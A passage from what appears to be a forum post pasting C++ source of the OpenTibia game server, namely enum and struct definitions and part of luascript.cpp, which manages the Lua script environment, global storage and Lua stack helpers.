STAT_MAGICLEVEL }; enum lossTypes_t { LOSS_FIRST = 0, LOSS_EXPERIENCE = LOSS_FIRST, LOSS_MANA, LOSS_SKILLS, LOSS_CONTAINERS, LOSS_ITEMS, LOSS_LAST = LOSS_ITEMS }; enum formulaType_t { FORMULA_UNDEFINED = 0, FORMULA_LEVELMAGIC, FORMULA_SKILL, FORMULA_VALUE }; enum ConditionId_t { CONDITIONID_DEFAULT = -1, CONDITIONID_COMBAT = 0, CONDITIONID_HEAD, CONDITIONID_NECKLACE, CONDITIONID_BACKPACK, CONDITIONID_ARMOR, CONDITIONID_RIGHT, CONDITIONID_LEFT, CONDITIONID_LEGS, CONDITIONID_FEET, CONDITIONID_RING, CONDITIONID_AMMO, CONDITIONID_OUTFIT }; enum PlayerSex_t { PLAYERSEX_FEMALE = 0, PLAYERSEX_MALE // DO NOT ADD HERE! Every higher sex is only for your // own use- each female should be even and male odd. }; struct Outfit_t { Outfit_t() {lookHead = lookBody = lookLegs = lookFeet = lookType = lookTypeEx = lookAddons = 0;} uint16_t lookType, lookTypeEx; uint8_t lookHead, lookBody, lookLegs, lookFeet, lookAddons; bool operator==(const Outfit_t o) const { return (o.lookAddons == lookAddons && o.lookType == lookType && o.lookTypeEx == lookTypeEx && o.lookHead == lookHead && o.lookBody == lookBody && o.lookLegs == lookLegs && o.lookFeet == lookFeet); } bool operator!=(const Outfit_t o) const { return !(*this == o); } }; struct LightInfo { uint32_t level, color; LightInfo() {level = color = 0;} LightInfo(uint32_t _level, uint32_t _color): level(_level), color(_color) {} }; struct ShopInfo { uint32_t itemId; int32_t subType, buyPrice, sellPrice; std::string itemName; ShopInfo() { itemId = 0; subType = 1; buyPrice = sellPrice = -1; itemName = ""; } ShopInfo(uint32_t _itemId, int32_t _subType = 1, int32_t _buyPrice = -1, int32_t _sellPrice = -1, const std::string& _itemName = ""): itemId(_itemId), subType(_subType), buyPrice(_buyPrice), sellPrice(_sellPrice), itemName(_itemName) {} }; typedef std::list<ShopInfo> ShopInfoList; #endif luascript.cpp Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #include "otpch.h" #include "luascript.h" #include "scriptmanager.h" #include <boost/filesystem.hpp> #include <boost/any.hpp> #include <iostream> #include <iomanip> #include "player.h" #include "item.h" #include "teleport.h" #include "town.h" #include "house.h" #include "housetile.h" #include "database.h" #include "iologindata.h" #include "ioban.h" #include "iomapserialize.h" #include "talkaction.h" #include "spells.h" #include "combat.h" #include "condition.h" #include "baseevents.h" #include "monsters.h" #include "raids.h" #include "configmanager.h" #include "vocation.h" #include "status.h" #include "game.h" #include "chat.h" extern Game g_game; extern Monsters g_monsters; extern Chat g_chat; extern ConfigManager g_config; extern Spells* g_spells; extern TalkActions* g_talkActions; enum { EVENT_ID_LOADING = 1, EVENT_ID_USER = 1000, }; ScriptEnviroment::AreaMap ScriptEnviroment::m_areaMap; uint32_t ScriptEnviroment::m_lastAreaId = 0; ScriptEnviroment::CombatMap ScriptEnviroment::m_combatMap; uint32_t ScriptEnviroment::m_lastCombatId = 0; ScriptEnviroment::ConditionMap ScriptEnviroment::m_conditionMap; uint32_t ScriptEnviroment::m_lastConditionId = 0; ScriptEnviroment::ThingMap ScriptEnviroment::m_globalMap; ScriptEnviroment::StorageMap ScriptEnviroment::m_storageMap; ScriptEnviroment::TempItemListMap ScriptEnviroment::m_tempItems; ScriptEnviroment::ScriptEnviroment() { m_lastUID = 70000; m_loaded = true; reset(); } ScriptEnviroment::~ScriptEnviroment() { for(CombatMap::iterator it = m_combatMap.begin(); it != m_combatMap.end(); ++it) delete it->second; m_combatMap.clear(); for(AreaMap::iterator it = m_areaMap.begin(); it != m_areaMap.end(); ++it) delete it->second; m_areaMap.clear(); reset(); } void ScriptEnviroment::reset() { m_scriptId = m_callbackId = 0; m_timerEvent = false; m_realPos = Position(); m_interface = NULL; for(TempItemListMap::iterator mit = m_tempItems.begin(); mit != m_tempItems.end(); ++mit) { ItemList itemList = mit->second; for(ItemList::iterator it = itemList.begin(); it != itemList.end(); ++it) { if((*it)->getParent() == VirtualCylinder::virtualCylinder) g_game.freeThing(*it); } } m_tempItems.clear(); for(DBResultMap::iterator it = m_tempResults.begin(); it != m_tempResults.end(); ++it) { if(it->second) it->second->free(); } m_tempResults.clear(); m_localMap.clear(); } bool ScriptEnviroment::saveGameState() { if(!g_config.getBool(ConfigManager::SAVE_GLOBAL_STORAGE)) return true; Database* db = Database::getInstance(); DBQuery query; query << "DELETE FROM `global_storage` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << ";"; if(!db->executeQuery(query.str())) return false; DBInsert query_insert(db); query_insert.setQuery("INSERT INTO `global_storage` (`key`, `world_id`, `value`) VALUES "); for(StorageMap::const_iterator it = m_storageMap.begin(); it != m_storageMap.end(); ++it) { char buffer[25 + it->second.length()]; sprintf(buffer, "%u, %u, %s", it->first, g_config.getNumber(ConfigManager::WORLD_ID), db->escapeString(it->second).c_str()); if(!query_insert.addRow(buffer)) return false; } return query_insert.execute(); } bool ScriptEnviroment::loadGameState() { Database* db = Database::getInstance(); DBResult* result; DBQuery query; query << "SELECT `key`, `value` FROM `global_storage` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << ";"; if((result = db->storeQuery(query.str()))) { do m_storageMap[result->getDataInt("key")] = result->getDataString("value"); while(result->next()); result->free(); } query.str(""); return true; } bool ScriptEnviroment::setCallbackId(int32_t callbackId, LuaScriptInterface* interface) { if(!m_callbackId) { m_callbackId = callbackId; m_interface = interface; return true; } //nested callbacks are not allowed if(m_interface) m_interface->errorEx("Nested callbacks!"); return false; } void ScriptEnviroment::getInfo(int32_t& scriptId, std::string& desc, LuaScriptInterface*& interface, int32_t& callbackId, bool& timerEvent) { scriptId = m_scriptId; desc = m_eventdesc; interface = m_interface; callbackId = m_callbackId; timerEvent = m_timerEvent; } void ScriptEnviroment::addUniqueThing(Thing* thing) { Item* item = thing->getItem(); if(!item || !item->getUniqueId()) return; if(m_globalMap[item->getUniqueId()]) { if(item->getActionId() != 2000) //scripted quest system std::cout << "Duplicate uniqueId " << item->getUniqueId() << std::endl; } else m_globalMap[item->getUniqueId()] = thing; } void ScriptEnviroment::removeUniqueThing(Thing* thing) { Item* item = thing->getItem(); if(!item || !item->getUniqueId()) return; ThingMap::iterator it = m_globalMap.find(item->getUniqueId()); if(it != m_globalMap.end()) m_globalMap.erase(it); } uint32_t ScriptEnviroment::addThing(Thing* thing) { if(!thing || thing->isRemoved()) return 0; for(ThingMap::iterator it = m_localMap.begin(); it != m_localMap.end(); ++it) { if(it->second == thing) return it->first; } if(Creature* creature = thing->getCreature()) { m_localMap[creature->getID()] = thing; return creature->getID(); } if(Item* item = thing->getItem()) { uint32_t tmp = item->getUniqueId(); if(tmp) { m_localMap[tmp] = thing; return tmp; } } while(m_localMap.find(m_lastUID) != m_localMap.end()) ++m_lastUID; m_localMap[m_lastUID] = thing; return m_lastUID; } void ScriptEnviroment::insertThing(uint32_t uid, Thing* thing) { if(!m_localMap[uid]) m_localMap[uid] = thing; else std::cout << "[Error - ScriptEnviroment::insertThing] Thing uid already taken" << std::endl; } Thing* ScriptEnviroment::getThingByUID(uint32_t uid) { Thing* tmp = m_localMap[uid]; if(tmp && !tmp->isRemoved()) return tmp; tmp = m_globalMap[uid]; if(tmp && !tmp->isRemoved()) return tmp; if(uid >= 0x10000000) { tmp = g_game.getCreatureByID(uid); if(tmp && !tmp->isRemoved()) { m_localMap[uid] = tmp; return tmp; } } return NULL; } Item* ScriptEnviroment::getItemByUID(uint32_t uid) { if(Thing* tmp = getThingByUID(uid)) { if(Item* item = tmp->getItem()) return item; } return NULL; } Container* ScriptEnviroment::getContainerByUID(uint32_t uid) { if(Item* tmp = getItemByUID(uid)) { if(Container* container = tmp->getContainer()) return container; } return NULL; } Creature* ScriptEnviroment::getCreatureByUID(uint32_t uid) { if(Thing* tmp = getThingByUID(uid)) { if(Creature* creature = tmp->getCreature()) return creature; } return NULL; } Player* ScriptEnviroment::getPlayerByUID(uint32_t uid) { if(Thing* tmp = getThingByUID(uid)) { if(Creature* creature = tmp->getCreature()) { if(Player* player = creature->getPlayer()) return player; } } return NULL; } void ScriptEnviroment::removeThing(uint32_t uid) { ThingMap::iterator it; it = m_localMap.find(uid); if(it != m_localMap.end()) m_localMap.erase(it); it = m_globalMap.find(uid); if(it != m_globalMap.end()) m_globalMap.erase(it); } uint32_t ScriptEnviroment::addCombatArea(CombatArea* area) { uint32_t newAreaId = m_lastAreaId + 1; m_areaMap[newAreaId] = area; m_lastAreaId++; return newAreaId; } CombatArea* ScriptEnviroment::getCombatArea(uint32_t areaId) { AreaMap::const_iterator it = m_areaMap.find(areaId); if(it != m_areaMap.end()) return it->second; return NULL; } uint32_t ScriptEnviroment::addCombatObject(Combat* combat) { uint32_t newCombatId = m_lastCombatId + 1; m_combatMap[newCombatId] = combat; m_lastCombatId++; return newCombatId; } Combat* ScriptEnviroment::getCombatObject(uint32_t combatId) { CombatMap::iterator it = m_combatMap.find(combatId); if(it != m_combatMap.end()) return it->second; return NULL; } uint32_t ScriptEnviroment::addConditionObject(Condition* condition) { uint32_t newConditionId = m_lastConditionId + 1; m_conditionMap[newConditionId] = condition; m_lastConditionId++; return m_lastConditionId; } Condition* ScriptEnviroment::getConditionObject(uint32_t conditionId) { ConditionMap::iterator it = m_conditionMap.find(conditionId); if(it != m_conditionMap.end()) return it->second; return NULL; } void ScriptEnviroment::addTempItem(ScriptEnviroment* env, Item* item) { m_tempItems[env].push_back(item); } void ScriptEnviroment::removeTempItem(ScriptEnviroment* env, Item* item) { ItemList itemList = m_tempItems[env]; ItemList::iterator it = std::find(itemList.begin(), itemList.end(), item); if(it != itemList.end()) itemList.erase(it); } void ScriptEnviroment::removeTempItem(Item* item) { for(TempItemListMap::iterator mit = m_tempItems.begin(); mit != m_tempItems.end(); ++mit) { ItemList itemList = mit->second; ItemList::iterator it = std::find(itemList.begin(), itemList.end(), item); if(it != itemList.end()) itemList.erase(it); } } uint32_t ScriptEnviroment::addResult(DBResult* res) { uint32_t lastId = 0; while(m_tempResults.find(lastId) != m_tempResults.end()) lastId++; m_tempResults[lastId] = res; return lastId; } bool ScriptEnviroment::removeResult(uint32_t id) { DBResultMap::iterator it = m_tempResults.find(id); if(it == m_tempResults.end()) return false; if(it->second) it->second->free(); m_tempResults.erase(it); return true; } DBResult* ScriptEnviroment::getResultByID(uint32_t id) { DBResultMap::iterator it = m_tempResults.find(id); if(it != m_tempResults.end()) return it->second; return NULL; } bool ScriptEnviroment::getStorage(const uint32_t key, std::string& value) const { StorageMap::const_iterator it = m_storageMap.find(key); if(it != m_storageMap.end()) { value = it->second; return true; } value = "-1"; return false; } void ScriptEnviroment::streamVariant(std::stringstream& stream, const std::string& local, const LuaVariant& var) { if(!local.empty()) stream << "local " << local << " = {" << std::endl; stream << "type = " << var.type; switch(var.type) { case VARIANT_NUMBER: stream << "," << std::endl << "number = " << var.number; break; case VARIANT_STRING: stream << "," << std::endl << "string = \"" << var.text << "\""; break; case VARIANT_TARGETPOSITION: case VARIANT_POSITION: { stream << "," << std::endl; streamPosition(stream, "pos", var.pos); break; } case VARIANT_NONE: default: break; } if(!local.empty()) stream << std::endl << "}" << std::endl; } void ScriptEnviroment::streamThing(std::stringstream& stream, const std::string& local, Thing* thing, uint32_t id/* = 0*/) { if(!local.empty()) stream << "local " << local << " = {" << std::endl; if(thing && thing->getItem()) { const Item* item = thing->getItem(); if(!id) id = addThing(thing); stream << "uid = " << id << "," << std::endl; stream << "itemid = " << item->getID() << "," << std::endl; if(item->hasSubType()) stream << "type = " << item->getSubType() << "," << std::endl; else stream << "type = 0," << std::endl; stream << "actionid = " << item->getActionId() << std::endl; } else if(thing && thing->getCreature()) { const Creature* creature = thing->getCreature(); if(!id) id = creature->getID(); stream << "uid = " << id << "," << std::endl; stream << "itemid = 1," << std::endl; if(creature->getPlayer()) stream << "type = 1," << std::endl; else if(creature->getMonster()) stream << "type = 2," << std::endl; else stream << "type = 3," << std::endl; if(const Player* player = creature->getPlayer()) stream << "actionid = " << player->getGUID() << "," << std::endl; else stream << "actionid = 0" << std::endl; } else { stream << "uid = 0," << std::endl; stream << "itemid = 0," << std::endl; stream << "type = 0," << std::endl; stream << "actionid = 0" << std::endl; } if(!local.empty()) stream << "}" << std::endl; } void ScriptEnviroment::streamPosition(std::stringstream& stream, const std::string& local, const Position& position, uint32_t stackpos) { if(!local.empty()) stream << "local " << local << " = {" << std::endl; stream << "x = " << position.x << "," << std::endl; stream << "y = " << position.y << "," << std::endl; stream << "z = " << position.z << "," << std::endl; stream << "stackpos = " << stackpos << std::endl; if(!local.empty()) stream << "}" << std::endl; } void ScriptEnviroment::streamOutfit(std::stringstream& stream, const std::string& local, const Outfit_t& outfit) { if(!local.empty()) stream << "local " << local << " = {" << std::endl; stream << "lookType = " << outfit.lookType << "," << std::endl; stream << "lookTypeEx = " << outfit.lookTypeEx << "," << std::endl; stream << "lookHead = " << outfit.lookHead << "," << std::endl; stream << "lookBody = " << outfit.lookBody << "," << std::endl; stream << "lookLegs = " << outfit.lookLegs << "," << std::endl; stream << "lookFeet = " << outfit.lookFeet << "," << std::endl; stream << "lookAddons = " << outfit.lookAddons << std::endl; if(!local.empty()) stream << "}" << std::endl; } std::string LuaScriptInterface::getError(ErrorCode_t code) { switch(code) { case LUA_ERROR_PLAYER_NOT_FOUND: return "Player not found"; case LUA_ERROR_MONSTER_NOT_FOUND: return "Monster not found"; case LUA_ERROR_NPC_NOT_FOUND: return "NPC not found"; case LUA_ERROR_CREATURE_NOT_FOUND: return "Creature not found"; case LUA_ERROR_ITEM_NOT_FOUND: return "Item not found"; case LUA_ERROR_THING_NOT_FOUND: return "Thing not found"; case LUA_ERROR_TILE_NOT_FOUND: return "Tile not found"; case LUA_ERROR_HOUSE_NOT_FOUND: return "House not found"; case LUA_ERROR_COMBAT_NOT_FOUND: return "Combat not found"; case LUA_ERROR_CONDITION_NOT_FOUND: return "Condition not found"; case LUA_ERROR_AREA_NOT_FOUND: return "Area not found"; case LUA_ERROR_CONTAINER_NOT_FOUND: return "Container not found"; case LUA_ERROR_VARIANT_NOT_FOUND: return "Variant not found"; case LUA_ERROR_VARIANT_UNKNOWN: return "Unknown variant type"; case LUA_ERROR_SPELL_NOT_FOUND: return "Spell not found"; default: break; } return "Invalid error code!"; } ScriptEnviroment LuaScriptInterface::m_scriptEnv[21]; int32_t LuaScriptInterface::m_scriptEnvIndex = -1; LuaScriptInterface::LuaScriptInterface(std::string interfaceName) { m_luaState = NULL; m_interfaceName = interfaceName; m_lastEventTimerId = 1000; } LuaScriptInterface::~LuaScriptInterface() { closeState(); } bool LuaScriptInterface::reInitState() { closeState(); return initState(); } bool LuaScriptInterface::loadBuffer(const std::string& text, Npc* npc/* = NULL*/) { //loads buffer as a chunk at stack top int32_t ret = luaL_loadbuffer(m_luaState, text.c_str(), text.length(), "loadBuffer"); if(ret) { m_lastError = popString(m_luaState); error(NULL, m_lastError); return false; } //check that it is loaded as a function if(!lua_isfunction(m_luaState, -1)) return false; m_loadingFile = "buffer"; reserveEnv(); ScriptEnviroment* env = getEnv(); env->setScriptId(EVENT_ID_LOADING, this); env->setNpc(npc); //execute it ret = lua_pcall(m_luaState, 0, 0, 0); if(ret) { error(NULL, popString(m_luaState)); releaseEnv(); return false; } releaseEnv(); return true; } bool LuaScriptInterface::loadFile(const std::string& file, Npc* npc/* = NULL*/) { //loads file as a chunk at stack top int32_t ret = luaL_loadfile(m_luaState, file.c_str()); if(ret) { m_lastError = popString(m_luaState); std::cout << "[Error - LuaScriptInterface::loadFile] " << m_lastError << std::endl; return false; } //check that it is loaded as a function if(!lua_isfunction(m_luaState, -1)) return false; m_loadingFile = file; reserveEnv(); ScriptEnviroment* env = getEnv(); env->setScriptId(EVENT_ID_LOADING, this); env->setNpc(npc); //execute it ret = lua_pcall(m_luaState, 0, 0, 0); if(ret) { error(NULL, popString(m_luaState)); releaseEnv(); return false; } releaseEnv(); return true; } bool LuaScriptInterface::loadDirectory(const std::string& dir, Npc* npc/* = NULL*/) { StringVec files; for(boost::filesystem::directory_iterator it(dir), end; it != end; ++it) { std::string s = it->leaf(); if(!boost::filesystem::is_directory(it->status()) && (s.size() > 4 ? s.substr(s.size() - 4) : "") == ".lua") files.push_back(s); } std::sort(files.begin(), files.end()); for(StringVec::iterator it = files.begin(); it != files.end(); ++it) { if(!loadFile(dir + (*it), npc)) return false; } return true; } int32_t LuaScriptInterface::getEvent(const std::string& eventName) { //get our events table lua_getfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS"); if(!lua_istable(m_luaState, -1)) { lua_pop(m_luaState, 1); return -1; } //get current event function pointer lua_getglobal(m_luaState, eventName.c_str()); if(!lua_isfunction(m_luaState, -1)) { lua_pop(m_luaState, 1); return -1; } //save in our events table lua_pushnumber(m_luaState, m_runningEventId); lua_pushvalue(m_luaState, -2); lua_rawset(m_luaState, -4); lua_pop(m_luaState, 2); //reset global value of this event lua_pushnil(m_luaState); lua_setglobal(m_luaState, eventName.c_str()); m_cacheFiles[m_runningEventId] = m_loadingFile + ":" + eventName; ++m_runningEventId; return m_runningEventId - 1; } std::string LuaScriptInterface::getScript(int32_t scriptId) { const static std::string tmp = "(Unknown script file)"; if(scriptId != EVENT_ID_LOADING) { ScriptsCache::iterator it = m_cacheFiles.find(scriptId); if(it != m_cacheFiles.end()) return it->second; return tmp; } return m_loadingFile; } void LuaScriptInterface::error(const char* function, const std::string& desc) { int32_t script, callback; bool timer; std::string event; LuaScriptInterface* interface; getEnv()->getInfo(script, event, interface, callback, timer); if(interface) { std::cout << std::endl << "[Error - " << interface->getName() << "] " << std::endl; if(callback) std::cout << "In a callback: " << interface->getScript(callback) << std::endl; if(timer) std::cout << (callback ? "from" : "In") << " a timer event called from: " << std::endl; std::cout << interface->getScript(script) << std::endl << "Description: "; } else std::cout << std::endl << "[Lua Error] "; std::cout << event << std::endl; if(function) std::cout << "(" << function << ") "; std::cout << desc << std::endl; } bool LuaScriptInterface::pushFunction(int32_t function) { lua_getfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS"); if(lua_istable(m_luaState, -1)) { lua_pushnumber(m_luaState, function); lua_rawget(m_luaState, -2); lua_remove(m_luaState, -2); if(lua_isfunction(m_luaState, -1)) return true; } return false; } bool LuaScriptInterface::initState() { m_luaState = luaL_newstate(); if(!m_luaState) return false; luaL_openlibs(m_luaState); registerFunctions(); if(!loadDirectory(getFilePath(FILE_TYPE_OTHER, "lib/"), NULL)) std::cout << "[Warning - LuaScriptInterface::initState] Cannot load " << getFilePath(FILE_TYPE_OTHER, "lib/") << std::endl; lua_newtable(m_luaState); lua_setfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS"); m_runningEventId = EVENT_ID_USER; return true; } bool LuaScriptInterface::closeState() { if(!m_luaState) return false; m_cacheFiles.clear(); for(LuaTimerEvents::iterator it = m_timerEvents.begin(); it != m_timerEvents.end(); ++it) { for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt) luaL_unref(m_luaState, LUA_REGISTRYINDEX, *lt); it->second.parameters.clear(); luaL_unref(m_luaState, LUA_REGISTRYINDEX, it->second.function); } m_timerEvents.clear(); lua_close(m_luaState); return true; } void LuaScriptInterface::executeTimer(uint32_t eventIndex) { LuaTimerEvents::iterator it = m_timerEvents.find(eventIndex); if(it != m_timerEvents.end()) { //push function lua_rawgeti(m_luaState, LUA_REGISTRYINDEX, it->second.function); //push parameters for(std::list<int32_t>::reverse_iterator rt = it->second.parameters.rbegin(); rt != it->second.parameters.rend(); ++rt) lua_rawgeti(m_luaState, LUA_REGISTRYINDEX, *rt); //call the function if(reserveEnv()) { ScriptEnviroment* env = getEnv(); env->setTimerEvent(); env->setScriptId(it->second.scriptId, this); callFunction(it->second.parameters.size()); releaseEnv(); } else std::cout << "[Error] Call stack overflow. LuaScriptInterface::executeTimer" << std::endl; //free resources for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt) luaL_unref(m_luaState, LUA_REGISTRYINDEX, *lt); it->second.parameters.clear(); luaL_unref(m_luaState, LUA_REGISTRYINDEX, it->second.function); m_timerEvents.erase(it); } } int32_t LuaScriptInterface::handleFunction(lua_State* L) { lua_getfield(L, LUA_GLOBALSINDEX, "debug"); if(!lua_istable(L, -1)) { lua_pop(L, 1); return 1; } lua_getfield(L, -1, "traceback"); if(!lua_isfunction(L, -1)) { lua_pop(L, 2); return 1; } lua_pushvalue(L, 1); lua_pushinteger(L, 2); lua_call(L, 2, 1); return 1; } bool LuaScriptInterface::callFunction(uint32_t params) { int32_t size = lua_gettop(m_luaState), handler = lua_gettop(m_luaState) - params; lua_pushcfunction(m_luaState, handleFunction); bool result = false; lua_insert(m_luaState, handler); if(lua_pcall(m_luaState, params, 1, handler)) LuaScriptInterface::error(NULL, LuaScriptInterface::popString(m_luaState)); else result = (int32_t)LuaScriptInterface::popBoolean(m_luaState); lua_remove(m_luaState, handler); if((lua_gettop(m_luaState) + (int32_t)params + 1) != size) LuaScriptInterface::error(NULL, "Stack size changed!"); return result; } void LuaScriptInterface::dumpStack(lua_State* L/* = NULL*/) { if(!L) L = m_luaState; int32_t stack = lua_gettop(L); if(!stack) return; std::cout << "Stack size: " << stack << std::endl; for(int32_t i = 1; i <= stack ; ++i) std::cout << lua_typename(m_luaState, lua_type(m_luaState, -i)) << " " << lua_topointer(m_luaState, -i) << std::endl; } void LuaScriptInterface::pushVariant(lua_State* L, const LuaVariant& var) { lua_newtable(L); setField(L, "type", var.type); switch(var.type) { case VARIANT_NUMBER: setField(L, "number", var.number); break; case VARIANT_STRING: setField(L, "string", var.text); break; case VARIANT_TARGETPOSITION: case VARIANT_POSITION: { lua_pushstring(L, "pos"); pushPosition(L, var.pos); pushTable(L); break; } case VARIANT_NONE: break; } } void LuaScriptInterface::pushThing(lua_State* L, Thing* thing, uint32_t id/* = 0*/) { lua_newtable(L); if(thing && thing->getItem()) { const Item* item = thing->getItem(); if(!id) id = getEnv()->addThing(thing); setField(L, "uid", id); setField(L, "itemid", item->getID()); if(item->hasSubType()) setField(L, "type", item->getSubType()); else setField(L, "type", 0); setField(L, "actionid", item->getActionId()); } else if(thing && thing->getCreature()) { const Creature* creature = thing->getCreature(); if(!id) id = creature->getID(); setField(L, "uid", id); setField(L, "itemid", 1); if(creature->getPlayer()) setField(L, "type", 1); else if(creature->getMonster()) setField(L, "type", 2); else setField(L, "type", 3); if(const Player* player = creature->getPlayer()) setField(L, "actionid", player->getGUID()); else setField(L, "actionid", 0); } else { setField(L, "uid", 0); setField(L, "itemid", 0); setField(L, "type", 0); setField(L, "actionid", 0); } } void LuaScriptInterface::pushPosition(lua_State* L, const Position& position, uint32_t stackpos) { lua_newtable(L); setField(L, "x", position.x); setField(L, "y", position.y); setField(L, "z", position.z); setField(L, "stackpos", stackpos); } void LuaScriptInterface::pushOutfit(lua_State* L, const Outfit_t& outfit) { lua_newtable(L); setField(L, "lookType", outfit.lookType); setField(L, "lookTypeEx", outfit.lookTypeEx); setField(L, "lookHead", outfit.lookHead); setField(L, "lookBody", outfit.lookBody); setField(L, "lookLegs", outfit.lookLegs); setField(L, "lookFeet", outfit.lookFeet); setField(L, "lookAddons", outfit.lookAddons); } void LuaScriptInterface::pushCallback(lua_State* L, int32_t callback) { lua_rawgeti(L, LUA_REGISTRYINDEX, callback); } LuaVariant LuaScriptInterface::popVariant(lua_State* L) { LuaVariant var; var.type = (LuaVariantType_t)getField(L, "type"); switch(var.type) { case VARIANT_NUMBER: var.number = getFieldUnsigned(L, "number"); break; case VARIANT_STRING: var.text = getField(L, "string"); break; case VARIANT_POSITION: case VARIANT_TARGETPOSITION: { lua_pushstring(L, "pos"); lua_gettable(L, -2); popPosition(L, var.pos); break; } default: var.type = VARIANT_NONE; break; } lua_pop(L, 1); //table return var; } void LuaScriptInterface::popPosition(lua_State* L, PositionEx& position) { if(!lua_isboolean(L, -1)) { position.x = getField(L, "x"); position.y = getField(L, "y"); position.z = getField(L, "z"); position.stackpos = getField(L, "stackpos"); } else position = PositionEx(); lua_pop(L, 1); //table } void LuaScriptInterface::popPosition(lua_State* L, Position& position, uint32_t& stackpos) { stackpos = 0; if(!lua_isboolean(L, -1)) { position.x = getField(L, "x"); position.y = getField(L, "y"); position.z = getField(L, "z"); stackpos = getField(L, "stackpos"); } else position = Position(); lua_pop(L, 1); //table } bool LuaScriptInterface::popBoolean(lua_State* L) { lua_pop(L, 1); return lua_toboolean(L, 0); } int64_t LuaScriptInterface::popNumber(lua_State* L) { lua_pop(L, 1); if(lua_isboolean(L, 0)) return (int64_t)lua_toboolean(L, 0); return (int64_t)lua_tonumber(L, 0); } double LuaScriptInterface::popFloatNumber(lua_State* L) { lua_pop(L, 1); return lua_tonumber(L, 0); } std::string LuaScriptInterface::popString(lua_State* L) { lua_pop(L, 1); const char* str = lua_tostring(L, 0); if(!str || !strlen(str)) return std::string(); return str; } int32_t LuaScriptInterface::popCallback(lua_State* L) { return luaL_ref(L, LUA_REGISTRYINDEX); } Outfit_t LuaScriptInterface::popOutfit(lua_State* L) { Outfit_t outfit; outfit.lookAddons = getField(L, "lookAddons"); outfit.lookFeet = getField(L, "lookFeet"); outfit.lookLegs = getField(L, "lookLegs"); outfit.lookBody = getField(L, "lookBody"); outfit.lookHead = getField(L, "lookHead"); outfit.lookTypeEx = getField(L, "lookTypeEx"); outfit.lookType = getField(L, "lookType"); lua_pop(L, 1); //table return outfit; } void LuaScriptInterface::setField(lua_State* L, const char* index, int32_t val) { lua_pushstring(L, index); lua_pushnumber(L, val); pushTable(L); } void LuaScriptInterface::setField(lua_State* L, const char* index, const std::string& val) { lua_pushstring(L, index); lua_pushstring(L, val.c_str()); pushTable(L); } void LuaScriptInterface::setFieldBool(lua_State* L, const char* index, bool val) { lua_pushstring(L, index); lua_pushboolean(L, val); pushTable(L); } void LuaScriptInterface::setFieldFloat(lua_State* L, const char* index, double val) { lua_pushstring(L, index); lua_pushnumber(L, val); pushTable(L); } void LuaScriptInterface::createTable(lua_State* L, const char* index) { lua_pushstring(L, index); lua_newtable(L); } void LuaScriptInterface::createTable(lua_State* L, const char* index, int32_t narr, int32_t nrec) { lua_pushstring(L, index); lua_createtable(L, narr, nrec); } void LuaScriptInterface::createTable(lua_State* L, int32_t index) { lua_pushnumber(L, index); lua_newtable(L); } void LuaScriptInterface::createTable(lua_State* L, int32_t index, int32_t narr, int32_t nrec) { lua_pushnumber(L, index); lua_createtable(L, narr, nrec); } void LuaScriptInterface::pushTable(lua_State* L) { lua_settable(L, -3); } int64_t LuaScriptInterface::getField(lua_State* L, const char* key) { lua_pushstring(L, key); lua_gettable(L, -2); // get table[key] int64_t result = (int64_t)lua_tonumber(L, -1); lua_pop(L, 1); // remove number and key return result; } uint64_t LuaScriptInterface::getFieldUnsigned(lua_State* L, const char* key) { lua_pushstring(L, key); lua_gettable(L, -2); // get table[key] uint64_t result = (uint64_t)lua_tonumber(L, -1); lua_pop(L, 1); // remove number and key return result; } bool LuaScriptInterface::getFieldBool(lua_State* L, const char* key) { lua_pushstring(L, key); lua_gettable(L, -2); // get table[key] bool result = lua_toboolean(L, -1); lua_pop(L, 1); // remove number and key return result; } std::string LuaScriptInterface::getFieldString(lua_State* L, const char* key) { lua_pushstring(L, key); lua_gettable(L, -2); // get table[key] std::string result = lua_tostring(L, -1); lua_pop(L, 1); // remove number and key return result; } std::string LuaScriptInterface::getGlobalString(lua_State* L, const std::string& _identifier, const std::string& _default/* = ""*/) { lua_getglobal(L, _identifier.c_str()); if(!lua_isstring(L, -1)) { lua_pop(L, 1); return _default; } int32_t len = (int32_t)lua_strlen(L, -1); std::string ret(lua_tostring(L, -1), len); lua_pop(L, 1); return ret; } bool LuaScriptInterface::getGlobalBool(lua_State* L, const std::string& _identifier, bool _default/* = false*/) { lua_getglobal(L, _identifier.c_str()); if(!lua_isboolean(L, -1)) { lua_pop(L, 1); return booleanString(LuaScriptInterface::getGlobalString(L, _identifier, _default ? "yes" : "no")); } bool val = lua_toboolean(L, -1); lua_pop(L, 1); return val; } int32_t LuaScriptInterface::getGlobalNumber(lua_State* L, const std::string& _identifier, const int32_t _default/* = 0*/) { return (int32_t)LuaScriptInterface::getGlobalDouble(L, _identifier, _default); } double LuaScriptInterface::getGlobalDouble(lua_State* L, const std::string& _identifier, const double _default/* = 0*/) { lua_getglobal(L, _identifier.c_str()); if(!lua_isnumber(L, -1)) { lua_pop(L, 1); return _default; } double val = lua_tonumber(L, -1); lua_pop(L, 1); return val; } void LuaScriptInterface::getValue(const std::string& key, lua_State* L, lua_State* _L) { lua_getglobal(L, key.c_str()); moveValue(L, _L); } void LuaScriptInterface::moveValue(lua_State* from, lua_State* to) { switch(lua_type(from, -1)) { case LUA_TNIL: lua_pushnil(to); break; case LUA_TBOOLEAN: lua_pushboolean(to, lua_toboolean(from, -1)); break; case LUA_TNUMBER: lua_pushnumber(to, lua_tonumber(from, -1)); break; case LUA_TSTRING: { size_t len; const char* str = lua_tolstring(from, -1, &len); lua_pushlstring(to, str, len); break; } case LUA_TTABLE: { 